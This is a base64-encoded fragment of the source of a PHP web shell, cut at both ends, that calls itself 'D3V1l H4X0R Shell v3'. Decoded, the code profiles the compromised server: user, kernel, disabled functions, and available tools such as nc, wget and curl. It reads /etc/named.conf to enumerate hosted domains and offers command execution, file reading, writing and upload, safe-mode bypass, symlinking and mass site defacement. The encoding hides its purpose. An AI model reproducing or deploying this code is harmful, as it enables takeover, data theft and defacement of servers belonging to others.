06IHJvdGF0ZSgyMGRlZyk7Ci1tcy10cmFuc2Zvcm06IHJvdGF0ZSgyMGRlZyk7CnRyYW5zZm9ybTogcm90YXRlKDIwZGVnKTt9Ci5tZW51IHRoOmhvdmVye2JhY2tncm91bmQ6IzBGMTAxMDt0ZXh0LWRlY29yYXRpb246IG5vbmU7fQpwcmUge2ZvbnQtZmFtaWx5OiBKb3NlZmluIFNhbnMsIHNhbnMtc2VyaWY7Y29sb3I6I0ZGRkZGRjt9CiNjb3RfdGxfZml4ZWR7cG9zaXRpb246Zml4ZWQ7Ym90dG9tOjBweDtmb250LXNpemU6MTJweDtsZWZ0OjBweDtwYWRkaW5nOjRweCAwO2NsaXA6X3RvcDpleHByZXNzaW9uKGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5zY3JvbGxUb3ArZG9jdW1lbnQuZG9jdW1lbnRFbGVtZW50LmNsaWVudEhlaWdodC10aGlzLmNsaWVudEhlaWdodCk7X2xlZnQ6ZXhwcmVzc2lvbihkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuc2Nyb2xsTGVmdCArIGRvY3VtZW50LmRvY3VtZW50RWxlbWVudC5jbGllbnRXaWR0aCAtIG9mZnNldFdpZHRoKTt9Ci5jcHIge21hcmdpbi1ib3R0b206NXB4O2ZvbnQtd2VpZ2h0OmJvbGQ7IH0KLmNwYiB7d2lkdGg6MzRweDttYXJnaW46MCA1cHg7fQoubnBvYWQgdGQge3BhZGRpbmc6MDt9CiNEM1YxbHRvb2xzewptYXJnaW4tdG9wOjUwcHg7CndpZHRoOjUwMHB4Owpib3JkZXI6MXB4IHNvbGlkOwpib3JkZXItcmFkaXVzOjEwcHg7Cn0KLkQzVjFsbG9nbyB0ZHsKZm9udC1zaXplOjEycHg7CmZvbnQtd2VpZ2h0OmJvbGQ7Cn0KLkQzVjFsbG9nb3sKbWFyZ2luLWxlZnQ6NXB4OwpiYWNrZ3JvdW5kLXJlcGVhdDogbm8tcmVwZWF0OwpiYWNrZ3JvdW5kLXBvc2l0aW9uOiBDRU5URVI7IApiYWNrZ3JvdW5kLWNvbG9yOiMwRjEwMTA7CmJhY2tncm91bmQtc2l6ZTogNDAwcHggMTIwcHg7Cn0KPC9zdHlsZT4KPC9odG1sPgo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPmJvZHksIGE6aG92ZXIge3RleHQtZGVjb3JhdGlvbjpub25lO2N1cnNvcjogdXJsKGh0dHA6Ly9jdXIuY3Vyc29ycy00dS5uZXQvY3Vyc29ycy9jdXItMTEvY3VyMTA1NC5jdXIpLCBwcm9ncmVzcyAhaW1wb3J0YW50O308L3N0eWxlPjxhIGhyZWY9Imh0dHA6Ly93d3cuY3Vyc29ycy00dS5jb20vY3Vyc29yLzIwMTIvMDIvMTEvY2hyb21lLXBvaW50ZXIuaHRtbCIgdGFyZ2V0PSJfYmxhbmsiIHRpdGxlPSJDaHJvbWUgUG9pbnRlciI+PGltZyBzcmM9Imh0dHA6Ly9jdXIuY3Vyc29ycy00dS5uZXQvY3Vyc29yLnBuZyIgYm9yZGVyPSIwIiBhbHQ9IkNocm9tZSBQb2ludGVyIiBzdHlsZT0icG9zaXRpb246YWJzb2x1dGU7IHRvcDogMHB4OyByaWdodDogMHB4OyIgLz48L2E+CjxzY3JpcHQ+CmZ1bmN0aW9uIHNldChhLGMscDEscDIscDMsY2hhcnNldCkgewppZihhICE9IG51bGwpZG9jdW1lbnQubWYuYS52YWx1ZT1hOwppZihjICE9IG51bGwpZG9jdW1lbnQubWYuYy52YWx1ZT1jOwppZihwMSAhPSBudWxsKWRvY3VtZW50Lm1mLnAxLnZhbHVlPXAxOwppZihwMiAhPSBudWxsKWRvY3VtZW50Lm1mLnAyLnZhbHVlPXAyOwppZihwMyAhPSBudWxsKWRvY3VtZW50Lm1mLnAzLnZhbHVlPXAzOwppZihjaGFyc2V0ICE9IG51bGwpZG9jdW1lbnQubWYuY2hhcnNldC52YWx1ZT1jaGFyc2V0Owp9CmZ1bmN0aW9uIGcoYSxjLHAxLHAyLHAzLGNoYXJzZXQpIHsKc2V0KGEsYyxwMSxwMixwMyxjaGFyc2V0KTsKZG9jdW1lbnQubWYuc3VibWl0KCk7Cn0KZnVuY3Rpb24gYShhLGMscDEscDIscDMsY2hhcnNldCkgewpzZXQoYSxjLHAxLHAyLHAzLGNoYXJzZXQpOwp2YXIgcGFyYW1zID0gImFqYXg9dHJ1ZSI7CmZvcihpPTA7aTxkb2N1bWVudC5tZi5lbGVtZW50cy5sZW5ndGg7aSsrKQpwYXJhbXMgKz0gIiYiK2RvY3VtZW50Lm1mLmVsZW1lbnRzW2ldLm5hbWUrIj0iK2VuY29kZVVSSUNvbXBvbmVudChkb2N1bWVudC5tZi5lbGVtZW50c1tpXS52YWx1ZSk7CnNyKCInLiRfU0VSVkVSWydSRVFVRVNUX1VSSSddLiciLCBwYXJhbXMpOwp9CmZ1bmN0aW9uIHNyKHVybCwgcGFyYW1zKSB7CmlmICh3aW5kb3cuWE1MSHR0cFJlcXVlc3QpIHsKcmVxID0gbmV3IFhNTEh0dHBSZXF1ZXN0KCk7CnJlcS5vbnJlYWR5c3RhdGVjaGFuZ2UgPSBwcm9jZXNzUmVxQ2hhbmdlOwpyZXEub3BlbigiUE9TVCIsIHVybCwgdHJ1ZSk7CnJlcS5zZXRSZXF1ZXN0SGVhZGVyICgiQ29udGVudC1UeXBlIiwgImFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZCIpOwpyZXEuc2VuZChwYXJhbXMpOwp9IAplbHNlIGlmICh3aW5kb3cuQWN0aXZlWE9iamVjdCkgewpyZXEgPSBuZXcgQWN0aXZlWE9iamVjdCgiTWljcm9zb2Z0LlhNTEhUVFAiKTsKaWYgKHJlcSkgewpyZXEub25yZWFkeXN0YXRlY2hhbmdlID0gcHJvY2Vzc1JlcUNoYW5nZTsKcmVxLm9wZW4oIlBPU1QiLCB1cmwsIHRydWUpOwpyZXEuc2V0UmVxdWVzdEhlYWRlciAoIkNvbnRlbnQtVHlwZSIsICJhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQiKTsKcmVxLnNlbmQocGFyYW1zKTsKfQp9Cn0KZnVuY3Rpb24gcHJvY2Vzc1JlcUNoYW5nZSgpIHsKaWYoIChyZXEucmVhZHlTdGF0ZSA9PSA0KSApCmlmKHJlcS5zdGF0dXMgPT0gMjAwKSB7Ci8vYWxlcnQocmVxLnJlc3BvbnNlVGV4dCk7CnZhciByZWcgPSBuZXcgUmVnRXhwKCIoXFxkKykoW1xcU1xcc10qKSIsICJtIik7CnZhciBhcnI9cmVnLmV4ZWMocmVxLnJlc3BvbnNlVGV4dCk7CmV2YWwoYXJyWzJdLnN1YnN0cigwLCBhcnJbMV0pKTsKfSAKZWxzZSBhbGVydCgiUmVxdWVzdCBlcnJvciEiKTsKfQo8L3NjcmlwdD4KPGhlYWQ+PGxpbmsgaHJlZj0iaHR0cHM6Ly9mb250cy5nb29nbGVhcGlzLmNvbS9jc3M/ZmFtaWx5PUF1ZGlvd2lkZSIgPjwvaGVhZD48Ym9keT48ZGl2IHN0eWxlPSJwb3NpdGlvbjphYnNvbHV0ZTt3aWR0aDoxMDAlO3RvcDowO2xlZnQ6MDsiPjxkaXYgc3R5bGU9Im1hcmdpbjo1cHg7YmFja2dyb3VuZDpibGFjazsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXI6MXB4IHNvbGlkICcuJFRoZW1lLic7IGJvcmRlci1yYWRpdXM6NXB4OyI+Cjxmb3JtIG1ldGhvZD1wb3N0IG5hbWU9bWYgc3R5bGU9ImRpc3BsYXk6bm9uZTsiPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSInLihpc3NldCgkX1BPU1RbJ2EnXSk/JF9QT1NUWydhJ106JycpLiciPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1jIHZhbHVlPSInLmh0bWxzcGVjaWFsY2hhcnMoJEdMT0JBTFNbJ2N3ZCddKS4nIj4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDEgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsncDEnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AxJ10pOicnKS4nIj4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDIgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsncDInXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AyJ10pOicnKS4nIj4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9cDMgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsncDMnXSk/aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3AzJ10pOicnKS4nIj4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9Y2hhcnNldCB2YWx1ZT0iJy4oaXNzZXQoJF9QT1NUWydjaGFyc2V0J10pPyRfUE9TVFsnY2hhcnNldCddOicnKS4nIj4KPC9mb3JtPic7CiRmcmVlU3BhY2UgPSBAZGlza2ZyZWVzcGFjZSgkR0xPQkFMU1snY3dkJ10pOwokdG90YWxTcGFjZSA9IEBkaXNrX3RvdGFsX3NwYWNlKCRHTE9CQUxTWydjd2QnXSk7CiR0b3RhbFNwYWNlID0gJHRvdGFsU3BhY2U/JHRvdGFsU3BhY2U6MTsKJGRpc2FibGVfZnVuY3Rpb25zID0gQGluaV9nZXQoJ2Rpc2FibGVfZnVuY3Rpb25zJyk7CiRyZWxlYXNlID0gQHBocF91bmFtZSgncicpOwoka2VybmVsID0gQHBocF91bmFtZSgncycpOwppZighZnVuY3Rpb25fZXhpc3RzKCdwb3NpeF9nZXRlZ2lkJykpIHsKJHVzZXIgPSBAZ2V0X2N1cnJlbnRfdXNlcigpOwokdWlkID0gQGdldG15dWlkKCk7CiRnaWQgPSBAZ2V0bXlnaWQoKTsKJGdyb3VwID0gIj8iOwp9IGVsc2UgewokdWlkID0gQHBvc2l4X2dldHB3dWlkKEBwb3NpeF9nZXRldWlkKCkpOwokZ2lkID0gQHBvc2l4X2dldGdyZ2lkKEBwb3NpeF9nZXRlZ2lkKCkpOwokdXNlciA9ICR1aWRbJ25hbWUnXTsKJHVpZCA9ICR1aWRbJ3VpZCddOwokZ3JvdXAgPSAkZ2lkWyduYW1lJ107CiRnaWQgPSAkZ2lkWydnaWQnXTsKfQokY3dkX2xpbmtzID0gJyc7CiRwYXRoID0gZXhwbG9kZSgiLyIsICRHTE9CQUxTWydjd2QnXSk7CiRuPWNvdW50KCRwYXRoKTsKZm9yKCRpPTA7JGk8JG4tMTskaSsrKSB7CiRjd2RfbGlua3MgLj0gIjxhIGhyZWY9JyMnIG9uY2xpY2s9J2coXCJGaWxlc01hblwiLFwiIjsKZm9yKCRqPTA7JGo8PSRpOyRqKyspCiRjd2RfbGlua3MgLj0gJHBhdGhbJGpdLicvJzsKJGN3ZF9saW5rcyAuPSAiXCIpJz4iLiRwYXRoWyRpXS4iLzwvYT4iOwp9CiRjaGFyc2V0cyA9IGFycmF5KCdVVEYtOCcsICdXaW5kb3dzLTEyNTEnLCAnS09JOC1SJywgJ0tPSTgtVScsICdjcDg2NicpOwokb3B0X2NoYXJzZXRzID0gJyc7CmZvcmVhY2goJGNoYXJzZXRzIGFzICRpdGVtKQokb3B0X2NoYXJzZXRzIC49ICc8b3B0aW9uIHZhbHVlPSInLiRpdGVtLiciICcuKCRfUE9TVFsnY2hhcnNldCddPT0kaXRlbT8nc2VsZWN0ZWQnOicnKS4nPicuJGl0ZW0uJzwvb3B0aW9uPic7CiRtID0gYXJyYXkoJ0ltcG9ydCBTY3JpcHRzJz0+J0ltcG9ydFNjcmlwdHMnLCdKdW1waW5nJz0+J0p1bXBpbmcnLCdTeW1saW5rJz0+J1N5bWxpbmsnLCdEb21haW5zJyA9PiAnRG9tYWluJywnU2hhcmVkIEhvc3RpbmdzJz0+J1NoYXJlZCcsJ1N5bSBTaXRlcyc9PidTeW0nLCdTdWJkb21haW4nPT4nU3ViZG9tYWluJywnU2VjLiBJbmZvJz0+J1NlY0luZm8nLCdGaWxlcyc9PidGaWxlc01hbicsJ0NvbnNvbGUnPT4nQ29uc29sZScsJ1NhZmUgTW9kZSc9PidCeXBhc3MnLCdTdHJpbmcgdG9vbHMnPT4nU3RyaW5nVG9vbHMnLCdEZWZhY2VyJyA9PiAnRGVmYWNlJywnUmVjdXJzaXZlIERlZmFjZXInPT4nRGVmYWNlcicpOwppZighZW1wdHkoJEdMT0JBTFNbJ2F1dGhfcGFzcyddKSkKJG1bJ0xvZ291dCddID0gJ0xvZ291dCc7CiRtZW51ID0gJyc7CmZvcmVhY2goJG0gYXMgJGsgPT4gJHYpCiRtZW51IC49ICc8dGg+PGEgaHJlZj0iIyIgb25jbGljaz0iZyhcJycuJHYuJ1wnLG51bGwsXCdcJyxcJ1wnLFwnXCcpIj4nLiRrLic8L2E+PC90aD4nOwokZHJpdmVzID0gIiI7CmlmICgkR0xPQkFMU1snb3MnXSA9PSAnd2luJykgewpmb3JlYWNoKCByYW5nZSgnYScsJ3onKSBhcyAkZHJpdmUgKXsKaWYgKGlzX2RpcigkZHJpdmUuJzpcXCcpKQokZHJpdmVzIC49ICc8YSBocmVmPSIjIiBvbmNsaWNrPSJnKFwnRmlsZXNNYW5cJyxcJycuJGRyaXZlLic6L1wnKSI+WyAnLiRkcml2ZS4nIF08L2E+ICc7Cn0KJGRyaXZlcyAuPSAnPGJyIC8+OiAnOwp9CmlmKCRHTE9CQUxTWydvcyddID09ICduaXgnKSB7CiRkb21pbmlvcyA9IEBmaWxlX2dldF9jb250ZW50cygiL2V0Yy9uYW1lZC5jb25mIik7CmlmKCEkZG9taW5pb3MpIHsKJERvbWFpblMgPSAiL3Zhci9uYW1lZCI7CiREb21haW5vbnNlcnZlciA9IHNjYW5kaXIoJERvbWFpblMpOwokZDBjID0gY291bnQoJERvbWFpbm9uc2VydmVyKTsKfSBlbHNlIHsKQHByZWdfbWF0Y2hfYWxsKCcvLio/em9uZSAiKC4qPykiIHsvJywgJGRvbWluaW9zLCAkb3V0KTsKJG91dCA9IHNpemVvZihhcnJheV91bmlxdWUoJG91dFsxXSkpOwokZDBjID0gJG91dC4iRG9tYWlucyI7Cn0KfSBlbHNlIHsKJGQwYyA9ICJOb3RoaW5nIGhlcmUgYnJvOigiOwp9CmlmKCRHTE9CQUxTWydvcyddID09ICduaXgnICkKewokdXNlZmwgPSAnJzsgJGR3bmxkciA9ICcnOwppZighQGluaV9nZXQoJ3NhZmVfbW9kZScpKSB7CiR0ZW1wID0gYXJyYXkoKTsKJHVzZXJmdWwgPSBhcnJheSgnZ2NjJywnbGNjJywnY2MnLCdsZCcsJ21ha2UnLCdwaHAnLCdwZXJsJywncHl0aG9uJywncnVieScsJ3RhcicsJ2d6aXAnLCdiemlwJywnYnppcDInLCduYycsJ2xvY2F0ZScsJ3N1aWRwZXJsJyk7CmZvcmVhY2goJHVzZXJmdWwgYXMgJGl0ZW0pIHsgaWYod2hpY2goJGl0ZW0pKSAkdGVtcFtdPSAkaXRlbTsgfQokdXNlZmwgPSBpbXBsb2RlKCcsICcsJHRlbXApOwokdGVtcCA9IGFycmF5KCk7CiRkb3dubG9hZGVycyA9IGFycmF5KCd3Z2V0JywnZmV0Y2gnLCdseW54JywnbGlua3MnLCdjdXJsJywnZ2V0JywnbHdwLW1pcnJvcicpOwpmb3JlYWNoKCRkb3dubG9hZGVycyBhcyAkaXRlbTIpIHsgaWYod2hpY2goJGl0ZW0yKSkgJHRlbXBbXT0gJGl0ZW0yOyB9CiRkd25sZHIgPSBpbXBsb2RlKCcsICcsJHRlbXApOwp9IGVsc2UgewokdXNlZmwgPSAnIC0tLS0tLS0gJzsgJGR3bmxkciA9ICcgLS0tLS0tLSAnOwp9Cn0gZWxzZSB7IAokdXNlZmwgPSAnIC0tLS0tLS0gJzsgJGR3bmxkciA9ICcgLS0tLS0tLSAnOwp9IAplY2hvICc8ZGl2IGNsYXNzPSJEM1YxbGxvZ28iPjx0YWJsZSBjbGFzcz0iaW5mbyIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMTAwJSI+PHRyPgo8dGQ+PHRhYmxlIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCIgY2xhc3M9Im5wb2FkIj48dHI+PHRkIHdpZHRoPSI4MHB4OyI+PHNwYW4+VW5hbWU8L3NwYW4+PC90ZD48dGQ+OiA8bm9icj4nLnN1YnN0cihAcGhwX3VuYW1lKCksIDAsIDEyMCkuJzwvbm9icj48L3RkPjwvdHI+Cjx0cj48dGQ+PHNwYW4+VXNlcjwvc3Bhbj48L3RkPjx0ZD46ICcuJHVpZC4nICggJy4kdXNlci4nICkgPHNwYW4+R3JvdXA6IDwvc3Bhbj4gJy4kZ2lkLicgKCAnLiRncm91cC4nICk8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj5TZXJ2ZXI8L3NwYW4+PC90ZD48dGQ+OiAnLkBnZXRlbnYoJ1NFUlZFUl9TT0ZUV0FSRScpLic8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj5Vc2VmdWw8L3NwYW4+PC90ZD48dGQ+OiAnLiR1c2VmbC4nPC90ZD48L3RyPjx0cj48dGQ+PHNwYW4+RG93bmxvYWRlcnM8L3NwYW4+PC90ZD48dGQ+OiAnLiRkd25sZHIuJzwvdGQ+PC90cj48dHI+PHRkPjxzcGFuPkQvZnVuY3Rpb25zPC9zcGFuPjwvdGQ+PHRkPjogJy4oJGRpc2FibGVfZnVuY3Rpb25zPyRkaXNhYmxlX2Z1bmN0aW9uczonQWxsIEZ1bmN0aW9uIEVuYWJsZScpLic8L3RkPjwvdHI+PHRyPjx0ZD48c3Bhbj4nLigkR0xPQkFMU1snb3MnXSA9PSAnd2luJz8nRHJpdmVzPGJyIC8+Q3dkJzonQ3dkJykuJzwvc3Bhbj48L3RkPjx0ZD46ICcuJGRyaXZlcy4nJy4kY3dkX2xpbmtzLicgJy52aWV3UGVybXNDb2xvcigkR0xPQkFMU1snY3dkJ10pLicgPGEgaHJlZj0jIG9uY2xpY2s9ImcoXCdGaWxlc01hblwnLFwnJy4kR0xPQkFMU1snaG9tZV9jd2QnXS4nXCcsXCdcJyxcJ1wnLFwnXCcpIj5bIGhvbWUgXTwvYT48L3RkPjwvdHI+PC90YWJsZT48L3RkPicuCiAnPHRkIHdpZHRoPTQ+PG5vYnI+PHNwYW4+U3YgSVA8L3NwYW4+PGJyPjxzcGFuPllvdXIgSVA8L3NwYW4+PGJyIC8+PHNwYW4+SEREPC9zcGFuPjxiciAvPjxzcGFuPkZyZWU8L3NwYW4+PGJyIC8+PHNwYW4+UEhQPC9zcGFuPjxiciAvPjxzcGFuPlNhZmUgTW9kZTwvc3Bhbj48YnIgLz48c3Bhbj5Eb21haW5zPC9zcGFuPjwvbm9icj48L3RkPicuCiAnPHRkPjxub2JyPjogJy5nZXRob3N0YnluYW1lKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuJzxicj46ICcuJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10uJzxiciAvPjogJy52aWV3U2l6ZSgkdG90YWxTcGFjZSkuJzxiciAvPjogJy52aWV3U2l6ZSgkZnJlZVNwYWNlKS4nICgnLihpbnQpKCRmcmVlU3BhY2UvJHRvdGFsU3BhY2UqMTAwKS4nJSk8YnI+OiAnLkBwaHB2ZXJzaW9uKCkuJyA8YSBocmVmPSMgb25jbGljaz0iZyhcJ1BocFwnLG51bGwsbnVsbCxcJ2luZm9cJykiPlsgcGhwaW5mbyBdPC9hPjxiciAvPjogJy4oJEdMT0JBTFNbJ3NhZmVfbW9kZSddPyc8Zm9udCBjb2xvcj1yZWQ+T048L2ZvbnQ+JzonPGZvbnQgY29sb3I9Jy4kY29sb3IuJzxiPk9GRjwvYj48L2ZvbnQ+JykuJzxiciAvPjogJy4kZDBjLic8L25vYnI+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+Jy4KICc8L2Rpdj48L2Rpdj48ZGl2IHN0eWxlPSJtYXJnaW46NTtiYWNrZ3JvdW5kOmJsYWNrOyI+PGRpdiBjbGFzcz0iY29udGVudCIgc3R5bGU9ImJvcmRlci10b3A6NXB4IHNvbGlkIDQzMDMwMztwYWRkaW5nOjJweDsiPjx0YWJsZSBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiIHdpZHRoPSIxMDAlIiBjbGFzcz0ibWVudSI+PHRyPicuJG1lbnUuJzwvdHI+PC90YWJsZT48L2Rpdj48L2Rpdj48ZGl2IHN0eWxlPSJtYXJnaW46NTtiYWNrZ3JvdW5kOmJsYWNrOyI+JzsKfQpmdW5jdGlvbiBwcmludEZvb3RlcigpIHsKJGlzX3dyaXRhYmxlID0gaXNfd3JpdGFibGUoJEdMT0JBTFNbJ2N3ZCddKT8iPGZvbnQgY29sb3I9Z3JlZW4+WyBXcml0ZWFibGUgXTwvZm9udD4iOiI8Zm9udCBjb2xvcj1yZWQ+WyBOb3Qgd3JpdGFibGUgXTwvZm9udD4iOwplY2hvICc8L2Rpdj48ZGl2IHN0eWxlPSJtYXJnaW46NXB4O2JhY2tncm91bmQ6YmxhY2s7Ij48ZGl2IGNsYXNzPSJjb250ZW50IiBzdHlsZT0iYm9yZGVyOjFweCBzb2xpZCAnLiRUaGVtZS4nOyBib3JkZXItcmFkaXVzOjVweDsiPgo8dGFibGUgY2xhc3M9ImluZm8iIGlkPSJ0b29sc1RibCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIiB3aWR0aD0iMTAwJSI+Cjx0cj4KPHRkPjxmb3JtIG9uc3VibWl0PSJnKG51bGwsdGhpcy5jLnZhbHVlKTtyZXR1cm4gZmFsc2U7Ij48c3Bhbj5DaGFuZ2UgZGlyOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9YyB2YWx1ZT0iJy5odG1sc3BlY2lhbGNoYXJzKCRHTE9CQUxTWydjd2QnXSkuJyI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjwvdGQ+Cjx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ0ZpbGVzVG9vbHNcJyxudWxsLHRoaXMuZi52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+UmVhZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT10ZXh0IG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+PC90ZD4KPC90cj4KPHRyPgo8dGQ+PGZvcm0gb25zdWJtaXQ9ImcoXCdGaWxlc01hblwnLG51bGwsXCdta2RpclwnLHRoaXMuZC52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+TWFrZSBkaXI6PC9zcGFuPjxicj48aW5wdXQgY2xhc3M9InRvb2xzSW5wIiB0eXBlPXRleHQgbmFtZT1kPjxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT0iPj4iPjwvZm9ybT4nLiRpc193cml0YWJsZS4nPC90ZD4KPHRkPjxmb3JtIG9uc3VibWl0PSJnKFwnRmlsZXNUb29sc1wnLG51bGwsdGhpcy5mLnZhbHVlLFwnbWtmaWxlXCcpO3JldHVybiBmYWxzZTsiPjxzcGFuPk1ha2UgZmlsZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWY+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPicuJGlzX3dyaXRhYmxlLic8L3RkPgo8L3RyPgo8dHI+Cjx0ZD48Zm9ybSBvbnN1Ym1pdD0iZyhcJ0NvbnNvbGVcJyxudWxsLHRoaXMuYy52YWx1ZSk7cmV0dXJuIGZhbHNlOyI+PHNwYW4+RXhlY3V0ZTo8L3NwYW4+PGJyPjxpbnB1dCBjbGFzcz0idG9vbHNJbnAiIHR5cGU9dGV4dCBuYW1lPWMgdmFsdWU9IiI+PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSI+PiI+PC9mb3JtPjwvdGQ+Cjx0ZD48Zm9ybSBtZXRob2Q9InBvc3QiIEVOQ1RZUEU9Im11bHRpcGFydC9mb3JtLWRhdGEiPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1hIHZhbHVlPSJGaWxlc01BbiI+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWMgdmFsdWU9IicuaHRtbHNwZWNpYWxjaGFycygkR0xPQkFMU1snY3dkJ10pLiciPgo8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1wMSB2YWx1ZT0idXBsb2FkRmlsZSI+CjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPWNoYXJzZXQgdmFsdWU9IicuKGlzc2V0KCRfUE9TVFsnY2hhcnNldCddKT8kX1BPU1RbJ2NoYXJzZXQnXTonJykuJyI+CjxzcGFuPlVwbG9hZCBmaWxlOjwvc3Bhbj48YnI+PGlucHV0IGNsYXNzPSJ0b29sc0lucCIgdHlwZT1maWxlIG5hbWU9Zj48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9Ij4+Ij48L2Zvcm0+Jy4kaXNfd3JpdGFibGUuJzwvdGQ+CjwvdHI+CjwvdGFibGU+PC9kaXY+PC9kaXY+CjxkaXYgc3R5bGU9Im1hcmdpbjo1cHg7YmFja2dyb3VuZDpibGFjazsiPjxkaXYgY2xhc3M9ImNvbnRlbnQiIHN0eWxlPSJib3JkZXI6MnB4IHNvbGlkICcuJFRoZW1lLic7dGV4dC1hbGlnbjpjZW50ZXI7Zm9udC13ZWlnaHQ6Ym9sZDsgYm9yZGVyLXJhZGl1czoxMHB4O21hcmdpbjphdXRvOyB3aWR0aDo1MDA7Ij5EM1YxbCBINFgwUiBTaGVsbCB2MyBjb2RlZCBieSA8YSBocmVmPSJodHRwczovL3d3dy5mYWNlYm9vay5jb20vRDNWaWwuSDRYMFIiPiBEM1YxbCBINFgwUjwvYT48L2Rpdj48L2Rpdj4KPC9kaXY+CjwvYm9keT48L2h0bWw+JzsKfQppZiAoICFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2dldHB3dWlkIikgJiYgKHN0cnBvcygkR0xPQkFMU1snZGlzYWJsZV9mdW5jdGlvbnMnXSwgJ3Bvc2l4X2dldHB3dWlkJyk9PT1mYWxzZSkgKSB7IGZ1bmN0aW9uIHBvc2l4X2dldHB3dWlkKCRwKSB7IHJldHVybiBmYWxzZTsgfSB9CmlmICggIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSAmJiAoc3RycG9zKCRHTE9CQUxTWydkaXNhYmxlX2Z1bmN0aW9ucyddLCAncG9zaXhfZ2V0Z3JnaWQnKT09PWZhbHNlKSApIHsgZnVuY3Rpb24gcG9zaXhfZ2V0Z3JnaWQoJHApIHsgcmV0dXJuIGZhbHNlOyB9IH0KZnVuY3Rpb24gdmlld1NpemUoJHMpIHsKaWYoJHMgPj0gMTA3Mzc0MTgyNCkKcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDczNzQxODI0ICkuICcgR0InOwplbHNlaWYoJHMgPj0gMTA0ODU3NikKcmV0dXJuIHNwcmludGYoJyUxLjJmJywgJHMgLyAxMDQ4NTc2ICkgLiAnIE1CJzsKZWxzZWlmKCRzID49IDEwMjQpCnJldHVybiBzcHJpbnRmKCclMS4yZicsICRzIC8gMTAyNCApIC4gJyBLQic7CmVsc2UKcmV0dXJuICRzIC4gJyBCJzsKfQpmdW5jdGlvbiBwZXJtcygkcCkgewppZiAoKCRwICYgMHhDMDAwKSA9PSAweEMwMDApJGkgPSAncyc7CmVsc2VpZiAoKCRwICYgMHhBMDAwKSA9PSAweEEwMDApJGkgPSAnbCc7CmVsc2VpZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJGkgPSAnLSc7CmVsc2VpZiAoKCRwICYgMHg2MDAwKSA9PSAweDYwMDApJGkgPSAnYic7CmVsc2VpZiAoKCRwICYgMHg0MDAwKSA9PSAweDQwMDApJGkgPSAnZCc7CmVsc2VpZiAoKCRwICYgMHgyMDAwKSA9PSAweDIwMDApJGkgPSAnYyc7CmVsc2VpZiAoKCRwICYgMHgxMDAwKSA9PSAweDEwMDApJGkgPSAncCc7CmVsc2UgJGkgPSAndSc7CiRpIC49ICgoJHAgJiAweDAxMDApID8gJ3InIDogJy0nKTsKJGkgLj0gKCgkcCAmIDB4MDA4MCkgPyAndycgOiAnLScpOwokaSAuPSAoKCRwICYgMHgwMDQwKSA/ICgoJHAgJiAweDA4MDApID8gJ3MnIDogJ3gnICkgOiAoKCRwICYgMHgwODAwKSA/ICdTJyA6ICctJykpOwokaSAuPSAoKCRwICYgMHgwMDIwKSA/ICdyJyA6ICctJyk7CiRpIC49ICgoJHAgJiAweDAwMTApID8gJ3cnIDogJy0nKTsKJGkgLj0gKCgkcCAmIDB4MDAwOCkgPyAoKCRwICYgMHgwNDAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKJGkgLj0gKCgkcCAmIDB4MDAwNCkgPyAncicgOiAnLScpOwokaSAuPSAoKCRwICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7CiRpIC49ICgoJHAgJiAweDAwMDEpID8gKCgkcCAmIDB4MDIw